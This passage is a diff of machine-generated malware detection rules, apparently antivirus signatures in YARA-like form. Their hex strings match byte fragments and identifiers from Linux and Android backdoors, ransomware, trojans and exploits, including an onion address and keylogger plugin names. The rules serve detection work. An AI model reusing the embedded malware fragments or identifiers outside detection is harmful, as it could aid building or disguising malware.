64 2e 72 75 6e 74 69 6d 65 2f 6c 69 62 36 34 2f 62 69 6f 6e 69 63 3a 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 72 75 6e 74 69 6d 65 2f 6c 69 62 36 34 3a 2f 73 79 73 74 65 6d 5f 65 78 74 2f 6c 69 62 36 34 3a 25 73 3a 25 73 } //-30464 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*24931+(#a_50_2 & 1)*21504+(#a_00_3 & 1)*28265+(#a_4c_4 & 1)*16582+(#a_03_5 & 1)*-14779+(#a_8b_6 & 1)*6208+(#a_89_7 & 1)*400+(#a_90_8 & 1)*-1917+(#a_90_10 & 1)*-30464) >=4 } -rule _InfrastructureShared_20922{ +rule _InfrastructureShared_22190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,19 00 19 00 07 00 21 " @@ -275527,25 +291624,15 @@ rule _InfrastructureShared_20922{ $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 54 53 68 65 6c 6c 2e 41 21 64 68 61 00 05 00 0c 01 2d 63 00 2d 72 00 2d 70 00 2d 74 00 05 00 17 01 48 8b 03 c7 00 2f 62 69 6e c7 40 04 2f 62 61 73 66 c7 40 08 68 } //21539 $a_00_1 = {2b 01 c6 00 48 } //-6144 $a_49_2 = {40 01 49 c6 40 } //16582 - $a_40_3 = {53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 05 00 21 03 ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 90 01 04 89 c3 85 c0 90 01 02 bf 90 01 04 e8 90 00 05 00 1f 03 48 63 50 14 48 8b 40 18 48 8b 30 48 89 ef e8 90 02 1c ba 10 00 00 00 48 89 e6 89 df e8 90 00 05 00 20 03 48 8d 51 ff be 00 00 00 00 4c 89 c7 e8 90 01 04 48 8b 45 00 c7 00 62 61 73 68 c6 40 04 00 90 00 05 00 24 03 bf 03 00 00 00 e8 90 01 04 48 8b 35 90 01 04 89 df e8 90 01 04 83 f8 01 90 01 02 be 02 00 00 00 89 df 90 00 00 00 8c 1a 01 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f } //19462 - $a_69_4 = {75 78 2f 4d 69 72 61 69 2e 4b 56 21 4d 54 42 00 01 00 74 01 00 00 44 82 21 c8 c0 02 09 f8 20 03 01 00 73 26 01 00 44 82 21 c8 c0 02 09 f8 20 03 80 84 02 00 03 00 44 82 00 13 02 00 21 c8 c0 02 09 f8 20 03 25 80 02 02 02 00 51 82 } //14962 - $a_02_5 = {21 20 20 02 09 f8 20 03 25 80 02 02 80 11 02 00 25 80 02 02 03 14 10 00 3d 00 05 24 10 00 bc 8f 21 20 93 02 03 1a 10 00 03 00 25 12 00 00 e2 a2 00 00 83 a0 01 00 73 26 01 00 74 01 21 10 0b 01 24 18 4f 00 06 00 61 04 21 58 60 00 ff ff 63 24 00 ff 02 24 25 18 62 00 01 00 63 24 21 58 60 00 21 18 83 00 00 00 62 90 00 00 00 00 00 00 22 a1 00 00 68 a0 00 00 22 91 00 00 a3 91 21 10 48 00 ff 00 42 30 21 10 82 00 00 00 42 90 00 00 00 00 26 10 43 00 00 00 c2 a1 01 00 82 25 ff 00 4c 30 2a 10 47 01 21 68 aa 00 21 70 ca 00 21 48 8c 00 00 00 8c 1d 01 00 02 00 02 00 04 00 21 23 41 4c } //-14303 - $a_72_6 = {6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 53 69 63 6b 61 6d 6f 72 65 79 2e 42 21 64 68 61 00 01 00 15 01 2f 73 79 73 74 65 6d 2f 6c 69 62 25 73 2f 76 6e 64 6b 2d 25 64 01 00 20 01 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 76 6e 64 6b 2e 76 25 64 } //14918 + $a_40_3 = {53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 05 00 21 03 ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 90 01 04 89 c3 85 c0 90 01 02 bf 90 01 04 e8 90 00 05 00 1f 03 48 63 50 14 48 8b 40 18 48 8b 30 48 89 ef e8 90 02 1c ba 10 00 00 00 48 89 e6 89 df e8 90 00 05 00 20 03 48 8d 51 ff be 00 00 00 00 4c 89 c7 e8 90 01 04 48 8b 45 00 c7 00 62 61 73 68 c6 40 04 00 90 00 05 00 24 03 bf 03 00 00 00 e8 90 01 04 48 8b 35 90 01 04 89 df e8 90 01 04 83 f8 01 90 01 02 be 02 00 00 00 89 df 90 00 00 00 8c 1d 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //19462 + $a_72_4 = {69 64 2f 53 69 63 6b 61 6d 6f 72 65 79 2e 42 21 64 68 61 00 01 00 15 01 2f 73 79 73 74 65 6d 2f 6c 69 62 25 73 2f 76 6e 64 6b 2d 25 64 01 00 20 01 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 76 6e 64 6b 2e 76 25 64 2f 6c 69 62 25 73 01 00 6c 01 2f 73 79 73 74 65 6d 2f 6c 69 62 36 34 3a 2f } //28225 + $a_78_5 = {63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 72 75 6e 74 69 6d 65 2f 6c 69 62 36 34 2f 62 69 6f 6e 69 63 3a 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 72 75 6e 74 69 6d 65 2f 6c 69 62 36 34 3a 2f 73 79 73 74 65 6d 5f 65 78 74 2f 6c 69 62 36 34 3a 25 73 3a 25 73 01 00 3e 01 3a 2f 61 70 65 78 2f 63 6f } //28769 + $a_6e_6 = {72 6f 69 64 2e 61 72 74 2f 6c 69 62 36 34 3a 2f 61 70 65 78 2f 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 6f 73 2e 73 74 61 74 73 64 2f 6c 69 62 36 34 00 00 8c 1d 01 00 05 00 05 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 63 72 79 70 74 2e 53 42 21 4d 54 42 } //11885 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-6144+(#a_49_2 & 1)*16582+(#a_40_3 & 1)*19462+(#a_69_4 & 1)*14962+(#a_02_5 & 1)*-14303+(#a_72_6 & 1)*14918) >=25 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-6144+(#a_49_2 & 1)*16582+(#a_40_3 & 1)*19462+(#a_72_4 & 1)*28225+(#a_78_5 & 1)*28769+(#a_6e_6 & 1)*11885) >=25 } -rule _InfrastructureShared_20923{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4b 56 21 4d 54 42 00 01 00 74 01 00 00 44 82 21 c8 c0 02 09 f8 20 03 01 00 73 26 01 00 44 82 21 c8 c0 02 09 f8 20 03 80 84 02 00 03 00 44 82 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=2 - -} -rule _InfrastructureShared_20924{ +rule _InfrastructureShared_22191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -275558,7 +291645,7 @@ rule _InfrastructureShared_20924{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25705+(#a_75_2 & 1)*11876+(#a_6e_3 & 1)*11885) >=2 } -rule _InfrastructureShared_20925{ +rule _InfrastructureShared_22192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 06 00 21 " @@ -275566,14 +291653,31 @@ rule _InfrastructureShared_20925{ $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 63 72 79 70 74 2e 53 42 21 4d 54 42 00 01 00 25 01 2f 76 61 72 2f 6f 70 74 2f 67 69 74 6c 61 62 2f 67 69 74 2d 64 61 74 61 2f 72 65 70 6f 73 69 74 6f 72 69 65 73 01 00 23 } //16675 $a_61_1 = {2f 6f 70 74 2f 67 69 74 6c 61 62 2f 67 69 74 6c 61 62 2d 72 61 69 6c 73 2f 73 68 61 72 65 64 01 00 18 01 2f 76 61 72 2f 6f 70 74 2f 67 69 74 6c 61 62 2f 67 69 74 2d 64 61 74 61 01 00 17 01 2f 76 61 72 2f 6f 70 74 2f 67 69 74 6c 61 62 2f 62 61 63 6b 75 70 73 01 00 16 01 2f 76 61 72 2f 6f 70 74 2f 67 69 74 6c 61 62 2f 62 61 63 6b 75 70 01 00 4a 01 68 74 } //12033 $a_2f_2 = {70 69 67 65 74 72 7a 6c 70 65 72 6a 72 65 79 72 33 66 62 79 74 6d 32 37 62 6c 6a 61 71 34 65 75 6e 67 76 33 67 64 71 32 74 6f 68 6e 6f 79 66 72 71 75 34 62 78 35 71 64 2e 6f } //28788 pigetrzlperjreyr3fbytm27bljaq4eungv3gdq2tohnoyfrqu4bx5qd.o - $a_6e_3 = {62 74 31 30 00 00 8c 1f 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 6d 6d 61 2e 42 21 4d 54 42 00 01 00 1b 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 67 65 74 4a 6f 62 2e 66 75 6e 63 31 01 00 1a 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 50 6f 73 74 44 65 63 72 69 70 74 01 00 20 } //26990 - $a_69_4 = {2e 28 2a 63 6c 69 65 6e 74 29 2e 4d 61 6b 65 43 72 79 70 74 50 6f 73 74 44 61 74 61 01 00 2d 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 43 45 2f 6c 69 6e 5f 61 76 70 2f 6c 69 6e 5f 61 76 70 2e 67 6f 01 00 2d 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 } //27905 - $a_2f_5 = {52 45 45 43 45 2f 6c 69 6e 5f 61 76 70 2f 72 73 61 5f 70 61 63 2e 67 6f 01 00 31 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 43 45 2f 6c 69 6e 5f 61 76 70 2f 77 65 62 73 6f 63 6b 5f 70 61 63 2e 67 6f 00 00 8c 22 01 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 69 61 6e 4c 69 61 } //29806 + $a_6e_3 = {62 74 31 30 00 00 8c 1d 01 00 0f 00 0f 00 0b 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 52 65 64 49 72 69 73 2e 41 21 64 68 61 00 0f 00 20 01 02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09 0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00 0f 00 1f 01 8d 50 ff 8b 45 08 01 d0 0f b6 00 88 45 fb 8b 45 0c } //26990 + $a_8b_4 = {08 01 d0 c6 00 00 c7 45 fc 05 00 0a 00 63 6d 79 5f 70 6c 75 67 69 6e 05 00 10 00 6d 79 5f 70 6c 75 67 69 6e 5f 64 65 6c 65 74 65 05 00 10 00 6d 79 5f 70 6c 75 67 69 6e 5f 63 72 65 61 74 65 05 00 0b 00 63 6d 79 5f 75 73 62 5f 6d 6f 6e 05 00 0f 00 63 6d 79 5f 73 63 72 65 65 6e 5f 73 68 6f 74 05 00 0b 00 63 6d 79 5f 6b 65 79 5f 6c 6f 67 05 00 0a 00 63 6d 79 5f 63 6c 69 65 6e 74 05 00 08 00 63 6d 79 5f 74 61 73 6b 05 00 23 00 77 6f 72 6b 5f 74 6f 2d 3e 70 6c 75 67 69 6e 5f 69 64 3a 25 64 20 c2 a0 20 63 6f 6d 6d 61 6e 64 3a 25 64 00 00 8c 1f 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 6d 6d 61 2e 42 21 4d 54 42 00 01 00 1b 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 67 65 74 4a 6f 62 2e 66 75 6e 63 31 01 00 1a 01 } //20621 + $a_6e_5 = {28 2a 63 6c 69 65 6e 74 29 2e 50 6f 73 74 44 65 63 72 69 70 74 01 00 20 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 4d 61 6b 65 43 72 79 70 74 50 6f 73 74 44 61 74 61 01 00 2d 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 43 45 2f 6c 69 6e 5f 61 76 70 2f 6c 69 6e 5f 61 76 70 2e 67 } //24941 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*12033+(#a_2f_2 & 1)*28788+(#a_6e_3 & 1)*26990+(#a_69_4 & 1)*27905+(#a_2f_5 & 1)*29806) >=5 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*12033+(#a_2f_2 & 1)*28788+(#a_6e_3 & 1)*26990+(#a_8b_4 & 1)*20621+(#a_6e_5 & 1)*24941) >=5 } -rule _InfrastructureShared_20926{ +rule _InfrastructureShared_22193{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 0b 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 52 65 64 49 72 69 73 2e 41 21 64 68 61 00 0f 00 20 01 02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09 0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00 0f 00 1f 01 8d 50 ff 8b } //16675 + $a_d0_1 = {b6 } //2117 + $a_fb_2 = {45 0c 8d 50 ff 8b 45 08 01 d0 c6 00 00 c7 45 fc 05 00 0a 00 63 6d 79 5f 70 6c 75 67 69 6e 05 00 10 00 6d 79 5f 70 6c 75 67 69 6e 5f 64 65 6c 65 74 65 05 00 10 00 6d 79 5f 70 6c 75 67 69 6e 5f 63 72 65 61 74 } //-30720 + $a_79_4 = {75 73 62 5f 6d 6f 6e 05 00 0f 00 63 6d 79 5f 73 63 72 65 65 6e 5f 73 68 6f 74 05 00 0b 00 63 6d 79 5f 6b 65 79 5f 6c 6f 67 05 00 0a 00 63 6d 79 5f 63 6c 69 65 6e 74 05 00 08 00 63 6d 79 5f 74 61 73 6b 05 00 23 00 77 6f 72 6b 5f 74 6f 2d 3e 70 6c 75 67 69 6e 5f 69 64 3a 25 64 20 c2 a0 20 63 6f 6d 6d 61 6e 64 3a 25 64 00 00 8c } //25344 + $a_41_7 = {46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 6d 6d 61 2e 42 21 4d 54 42 00 01 00 1b 01 6d 61 69 6e } //8448 + $a_63_8 = {69 65 6e 74 29 2e 67 65 74 4a 6f 62 2e 66 75 6e 63 31 01 00 1a 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 50 6f 73 74 44 } //10286 + $a_69_9 = {74 01 00 20 01 6d 61 69 6e 2e 28 2a 63 6c 69 65 6e 74 29 2e 4d 61 6b 65 43 72 79 70 74 50 6f 73 74 44 61 74 61 01 00 2d 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 43 45 2f 6c 69 6e 5f 61 76 70 2f 6c 69 6e 5f 61 76 70 2e 67 6f 01 00 2d 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 } //25445 + $a_6c_10 = {6e 5f 61 76 70 2f 72 73 61 5f 70 61 63 2e 67 6f 01 00 31 01 2f 68 6f 6d 65 2f 64 6f 62 2f 44 6f 63 75 6d 65 6e 74 73 2f 47 52 45 45 43 45 2f } //17731 + condition: + ((#a_46_0 & 1)*16675+(#a_d0_1 & 1)*2117+(#a_fb_2 & 1)*-30720+(#a_79_4 & 1)*25344+(#a_41_7 & 1)*8448+(#a_63_8 & 1)*10286+(#a_69_9 & 1)*25445+(#a_6c_10 & 1)*17731) >=15 + +} +rule _InfrastructureShared_22194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -275588,7 +291692,7 @@ rule _InfrastructureShared_20926{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*29551+(#a_45_2 & 1)*17733+(#a_6f_3 & 1)*11875+(#a_65_4 & 1)*8299+(#a_2f_5 & 1)*27762) >=6 } -rule _InfrastructureShared_20927{ +rule _InfrastructureShared_22195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -275599,7 +291703,7 @@ rule _InfrastructureShared_20927{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26996) >=1 } -rule _InfrastructureShared_20928{ +rule _InfrastructureShared_22196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 04 00 21 " @@ -275612,7 +291716,7 @@ rule _InfrastructureShared_20928{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-24783+(#a_74_2 & 1)*26948+(#a_83_3 & 1)*17705) >=5 } -rule _InfrastructureShared_20929{ +rule _InfrastructureShared_22197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -275624,7 +291728,7 @@ rule _InfrastructureShared_20929{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*-3003+(#a_90_2 & 1)*-29880) >=3 } -rule _InfrastructureShared_20930{ +rule _InfrastructureShared_22198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0b 00 21 " @@ -275635,35 +291739,61 @@ rule _InfrastructureShared_20930{ $a_01_3 = {5f 5f 77 65 5f 61 72 65 5f 68 61 70 70 79 5f 5f } //1 __we_are_happy__ $a_01_4 = {2f 72 6f 6f 74 2f 2e 73 65 73 73 } //1 /root/.sess $a_01_5 = {5a 59 53 5a 4c 52 54 53 5e 5a 40 40 4e 4d 40 40 47 5f 59 5f 46 45 } //1 ZYSZLRTS^Z@@NM@@G_Y_FE - $a_26_6 = {00 03 00 03 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 4d 65 73 6f 4d 65 73 6f 2e 41 21 64 68 61 00 02 00 0c 01 61 70 69 6f 6e 5f 64 61 65 6d 6f 6e 02 00 0d 00 52 75 6e 6e 69 6e 67 20 61 70 69 6f 6e 02 00 11 00 52 75 6e 6e 69 6e 67 20 62 6c 61 63 6b 6a 61 63 6b 02 00 11 01 63 6f 6d 2e 6d 65 72 6c 69 6e 78 2e 6d 65 72 73 75 02 00 12 01 69 6e 76 61 6c 69 64 20 65 78 70 6c 6f 69 74 20 69 } //0 - $a_5f_8 = {65 72 6c 69 6e 78 5f 6d 65 72 73 75 01 00 1d 01 46 61 69 6c 65 64 20 64 6f 77 6e 6c 6f 61 64 69 6e 67 20 6e 61 74 69 76 65 20 6c 69 62 01 00 0b 01 5f 5a 38 72 63 65 5f 6d 61 69 6e 01 00 20 01 66 61 69 6c 65 64 20 63 6f 75 6e 74 69 6e 67 20 70 61 63 6b 61 67 65 73 20 77 69 74 68 20 70 6d 01 00 13 01 52 75 6e 6e 69 6e 67 20 6e } //28515 - $a_76_9 = {20 6d 61 69 6e 01 00 14 01 66 61 69 6c 65 64 20 72 75 6e 6e 69 6e 67 20 6d 65 72 73 75 00 00 8c 2a 01 00 03 00 03 00 0a 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 42 6f 6f 6d 74 6f 77 6e 2e 43 21 64 68 61 00 02 00 16 01 6f 6e 65 73 68 6f 74 5f 70 65 5f 65 6e 74 72 79 5f 70 6f 69 6e 74 02 00 1d } //29793 - $a_62_10 = {20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 6f 76 65 72 77 72 69 74 74 65 6e 02 00 13 01 6f 6e 65 73 68 6f 74 5f 6c 69 62 63 5f 68 6f 6f 6b 65 72 02 00 1e 01 7a 79 67 6f 74 65 5f 66 69 72 73 74 5f 73 74 61 67 65 5f 69 6d 70 6c 61 6e 74 5f 70 69 63 02 00 19 01 73 65 6e 64 5f 6d 6d 61 70 5f 75 73 65 72 70 74 72 5f 72 } //27649 + $a_25_6 = {00 02 00 02 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 72 75 64 53 6e 61 63 6b 2e 41 21 64 68 61 00 01 00 08 01 63 64 72 5f 78 66 2e 63 01 00 17 01 61 3a 3a 62 3a 63 3a 64 65 66 3a 67 68 69 6b 3a 4c 6c 3a 6e 3a 6f 70 01 00 1e 03 49 52 2d 45 58 45 43 20 43 4d 44 20 3a 20 25 73 20 90 02 02 20 2d 3e 20 57 48 45 4e 90 00 01 00 2d 03 41 75 74 6f 6d 61 74 69 63 20 6c 6f 6f 6b 75 70 20 6f 66 20 66 } //0 + $a_90_7 = {05 20 62 61 73 65 64 20 6f 6e 20 66 69 6c 74 65 72 90 00 01 00 24 03 4f 66 66 65 6e 64 69 6e 67 20 74 68 72 65 61 64 20 23 90 01 02 20 77 61 73 20 73 74 6f 70 70 65 64 2e 90 00 01 00 17 03 2f 74 6d 70 2f 2e 73 90 01 03 69 6f 6e 5f 25 6c 75 2e 6c 63 6b 90 00 01 00 39 03 77 61 69 74 69 6e 67 20 66 6f 72 } //27753 + $a_04_8 = {20 } //-28640 + $a_74_9 = {6f 77 6e 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 20 28 6d 69 67 68 74 20 74 61 6b 65 20 74 69 6d 65 29 90 00 00 00 8c 26 01 00 03 00 03 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 4d 65 73 6f 4d 65 73 6f 2e 41 21 64 68 61 00 02 00 0c 01 61 70 69 6f 6e 5f 64 61 65 6d 6f 6e 02 00 0d 00 52 75 6e 6e 69 6e 67 20 61 70 69 6f } //26739 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26995+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_26_6 & 1)*0+(#a_5f_8 & 1)*28515+(#a_76_9 & 1)*29793+(#a_62_10 & 1)*27649) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26995+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_25_6 & 1)*0+(#a_90_7 & 1)*27753+(#a_04_8 & 1)*-28640+(#a_74_9 & 1)*26739) >=4 } -rule _InfrastructureShared_20931{ +rule _InfrastructureShared_22199{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 72 75 64 53 6e 61 63 6b 2e 41 21 64 68 61 00 01 00 08 01 63 64 72 5f 78 66 2e 63 01 00 17 01 61 3a 3a 62 3a 63 3a 64 65 66 3a 67 68 69 6b 3a 4c 6c 3a 6e 3a 6f 70 01 00 1e 03 49 52 2d 45 } //16675 + $a_20_1 = {4d 44 20 3a 20 25 73 20 90 02 02 20 2d 3e 20 57 48 45 4e 90 00 01 00 2d 03 41 75 74 6f 6d 61 74 69 63 20 6c 6f 6f 6b 75 70 20 6f 66 20 66 69 6c 65 90 01 05 20 62 61 73 65 64 20 6f 6e 20 66 69 6c 74 65 } //17752 + $a_4f_3 = {66 65 6e } //9216 fen + $a_67_4 = {74 68 72 65 61 64 20 23 90 01 02 20 77 61 73 20 73 74 6f 70 70 65 64 2e 90 00 01 00 17 03 2f 74 6d 70 2f 2e 73 90 01 03 69 6f 6e 5f 25 6c 75 2e 6c 63 6b 90 00 01 00 39 03 77 61 69 74 69 6e 67 20 66 6f 72 20 90 01 04 20 73 68 75 74 64 6f 77 6e 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 20 28 6d 69 67 68 74 20 74 61 6b 65 20 74 69 6d } //26980 + $a_00_5 = {00 00 8c 26 01 00 03 00 03 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 4d 65 73 6f 4d 65 73 6f 2e 41 21 64 68 61 00 02 00 0c 01 61 70 69 6f 6e 5f 64 61 65 6d 6f 6e 02 00 0d 00 52 75 6e 6e 69 6e 67 20 61 70 69 6f 6e 02 00 11 00 52 75 6e 6e 69 6e 67 20 62 6c 61 63 6b 6a 61 63 6b 02 00 11 01 63 6f 6d 2e 6d 65 72 6c 69 6e 78 2e 6d 65 72 73 75 02 00 12 01 69 6e 76 61 6c 69 64 20 65 78 70 6c 6f 69 74 20 } //10597 + $a_00_6 = {11 } //25705 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17752+(#a_4f_3 & 1)*9216+(#a_67_4 & 1)*26980+(#a_00_5 & 1)*10597+(#a_00_6 & 1)*25705) >=2 + +} +rule _InfrastructureShared_22200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0b 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 4d 65 73 6f 4d 65 73 6f 2e 41 21 64 68 61 00 02 00 0c 01 61 70 69 6f 6e 5f 64 61 65 6d 6f 6e 02 00 0d 00 52 75 6e 6e 69 6e 67 20 61 70 69 6f 6e 02 00 11 00 52 75 6e 6e 69 6e 67 20 } //16675 $a_63_1 = {6a 61 63 6b 02 00 11 01 63 6f 6d 2e 6d 65 72 6c 69 6e 78 2e 6d 65 72 73 75 02 00 12 01 69 6e 76 61 6c 69 64 20 65 78 70 6c 6f 69 74 20 69 64 01 00 11 01 63 6f 6d 5f 6d 65 72 6c 69 6e 78 5f 6d 65 72 73 75 01 00 1d 01 46 61 69 6c 65 64 20 64 6f 77 6e 6c 6f 61 64 69 6e 67 20 6e 61 74 69 76 65 } //27746 - $a_62_2 = {00 0b 01 5f 5a 38 72 63 65 5f 6d 61 69 6e 01 00 20 01 66 61 69 6c 65 64 20 63 6f 75 6e 74 69 6e 67 20 70 61 63 6b 61 67 65 73 20 77 69 74 68 20 70 6d 01 00 13 01 52 75 6e 6e 69 6e 67 20 6e 61 74 69 76 65 20 6d 61 69 6e 01 00 14 01 66 61 69 6c 65 64 20 72 75 6e 6e 69 6e 67 20 6d 65 72 73 75 00 00 8c 2a 01 00 03 00 } //27680 - $a_00_3 = {21 23 41 4c 46 3a 45 78 70 6c } //3 !#ALF:Expl - $a_3a_4 = {69 6e 75 78 2f 42 6f 6f 6d 74 6f 77 6e 2e 43 21 64 68 61 00 02 00 16 01 6f 6e 65 73 68 6f 74 5f 70 65 5f 65 6e 74 72 79 5f 70 6f 69 6e 74 02 00 1d 01 6c 69 62 63 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 6f 76 65 72 77 72 69 74 74 65 6e 02 00 13 01 6f 6e 65 73 68 6f 74 5f 6c 69 62 63 5f 68 6f 6f 6b 65 72 02 00 1e 01 7a 79 67 6f 74 65 5f 66 69 72 } //26991 - $a_73_5 = {61 67 65 5f 69 6d 70 6c 61 6e 74 5f 70 69 63 02 00 19 01 73 65 6e 64 5f 6d 6d 61 70 5f 75 73 65 72 70 74 72 5f 72 65 71 75 65 73 74 02 00 1c 01 69 73 73 75 65 5f 6f 75 74 5f 6f 66 5f 62 6f 75 6e 64 5f 77 72 69 74 65 5f 6d 61 70 02 00 0d 01 67 65 74 5f 32 5f 70 61 79 6c 6f 61 64 01 00 } //29811 - $a_64_6 = {76 2f 66 69 6d 67 32 64 01 00 14 01 75 3a 72 3a 73 79 73 74 65 6d 5f 73 65 72 76 65 72 3a 73 30 01 00 12 01 6f 75 74 2d 6f 66 2d 62 6f 75 6e } //267 - $a_72_7 = {74 65 00 00 8c 2d 01 00 03 00 03 00 0b 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 42 6f 6f 6d 74 6f 77 6e 2e 42 21 64 68 61 00 01 00 0b 01 72 65 66 73 6f 5f 69 6e 69 74 00 01 00 1e 03 62 69 6e 61 72 79 5f 70 61 79 6c 6f 61 64 5f 90 02 03 70 61 79 6c 6f 61 64 5f 73 6f 90 00 01 00 20 03 62 69 6e 61 72 79 5f 73 68 65 6c 6c 63 6f 64 65 5f } //8292 - $a_65_8 = {74 90 02 02 5f 62 69 6e 90 00 01 00 0b 01 2f 64 65 76 2f 62 69 6e 64 65 72 01 00 0f 01 62 69 6e 64 65 72 5f 75 61 66 5f 69 6e 69 74 01 00 1c 03 41 6e 64 72 6f 69 64 90 02 03 20 62 69 6e 64 65 72 20 64 65 74 65 63 74 65 64 90 00 01 00 1c 01 46 72 65 65 20 62 69 6e 64 65 72 5f 74 68 72 65 61 64 20 73 74 72 75 63 74 75 } //28265 - $a_00_9 = {13 } //25970 - $a_70_10 = {6f 69 74 20 